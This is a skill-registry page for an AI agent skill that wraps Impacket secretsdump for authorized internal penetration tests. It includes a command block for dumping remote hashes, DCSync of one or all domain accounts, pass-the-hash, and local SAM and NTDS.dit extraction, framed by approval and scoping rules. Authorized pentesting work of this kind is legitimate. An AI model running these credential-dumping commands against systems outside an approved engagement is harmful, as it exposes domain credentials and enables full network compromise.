# Impacket Secretsdump

> Use for tightly scoped credential-material validation during authorized internal pentests. Trigger on approved LSASS, SAM, or NTDS exposure review, privilege-boundary checks, and confirming whether a specific credential path can access sensitive authentication material.

- Skill: `timsonner/impacket-secretsdump` (Agent Skill)
- Install (CLI): `npx skillmds@latest add timsonner/impacket-secretsdump`
- Raw SKILL.md: https://api.skillmd.com/api/skills/timsonner/impacket-secretsdump/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: timsonner (https://skillmd.com/u/timsonner)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/timsonner/impacket-secretsdump

---


# Impacket SecretsDump

## Purpose

Use this skill only when the rules of engagement explicitly authorize validation of access to sensitive Windows credential material.

## Phase Fit

- Primary: Validation and Controlled Impact Demonstration
- Secondary: Retest and Closure

## Use When

- Need to confirm whether a specific approved credential path exposes sensitive authentication material.
- Need to validate the severity of an administrative boundary failure.
- Need a tightly controlled retest after remediation.

## Avoid When

- Credential-material access is not explicitly approved.
- The target is a sensitive controller or server without clear guardrails.

## Inputs

- Approved host or domain controller
- Authorized credential or hash context
- Exact boundary on what material may be accessed

## Procedure

1. Confirm written approval for this level of validation.
2. Scope the check to the single approved host or dataset.
3. Use the minimum technique needed to prove the boundary failure.
4. Stop as soon as the approved proof standard is met.
5. Protect all output as highly sensitive evidence.

## Command Syntax

Replace sample domains, hosts, and credentials with approved in-scope values.

```bash
# Dump hashes from a domain-joined host
secretsdump.py contoso.com/auditor:'<password>'@10.10.10.100

# DCSync: dump a specific account
secretsdump.py -just-dc-user administrator contoso.com/auditor:'<password>'@dc01.contoso.com

# DCSync: dump all domain hashes
secretsdump.py contoso.com/auditor:'<password>'@dc01.contoso.com -just-dc

# Pass-the-Hash
secretsdump.py -hashes :<NTLM_hash> contoso.com/administrator@dc01.contoso.com

# Local SAM dump (from exported hive files)
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

# Local NTDS.dit dump
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
```

## Evidence to Capture

- Whether the approved access path exposed sensitive authentication material
- Exact host, account, and scope used for the proof
- Minimal output required to support remediation

## Safety Boundaries

- Use only with explicit written approval.
- Minimize collection and protect all output as sensitive evidence.